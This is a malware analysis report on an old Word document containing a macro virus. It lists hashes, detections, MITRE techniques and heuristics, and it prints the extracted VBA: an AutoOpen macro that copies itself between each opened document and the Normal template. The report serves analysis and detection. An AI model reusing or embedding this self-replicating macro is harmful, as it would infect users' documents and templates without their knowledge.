Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ddeace888730a39…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-11-04 17:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 62b506824dbde5bfe7182e982ba6c508 SHA-1: 61666e35497ec53fb2dca1c4e185d4698e668283 SHA-256: 7ddeace888730a395221b08a46bb48365681a2432367d24e33c684ec1bcebc05
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro named 'ExampleVirus'. The AutoOpen macro logic suggests an attempt to copy itself to the Normal template or the active document, indicating a persistence mechanism. The presence of legacy WordBasic markers and the file's age further support its nature as a potentially older malware sample.

Heuristics 4

  • ClamAV: Doc.Trojan.Example-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Example-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 983 bytes
SHA-256: 4119dfc21db0b34c8b5c2b51543add67720560cbb8bdd41e921eccd0778fb531
Detection
ClamAV: Doc.Trojan.Example-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ExampleVirus"
Sub AutoOpen()
'1st line: if the active document's name is Normal then
'2nd line: copy the macro ExampleVirus from the active document to the normal template; the macro is a project item
'3rd line: but if the name of the active document ain't normal.dot then
'4th line: copy the macro ExampleVirus from the notmal template to the active document; the macro is a project item
If UCase(ThisDocument.Name) = "NORMAL.DOT" Then
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "ExampleVirus", wdOrganizerObjectProjectItems
Else
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "ExampleVirus", wdOrganizerObjectProjectItems
End If
End Sub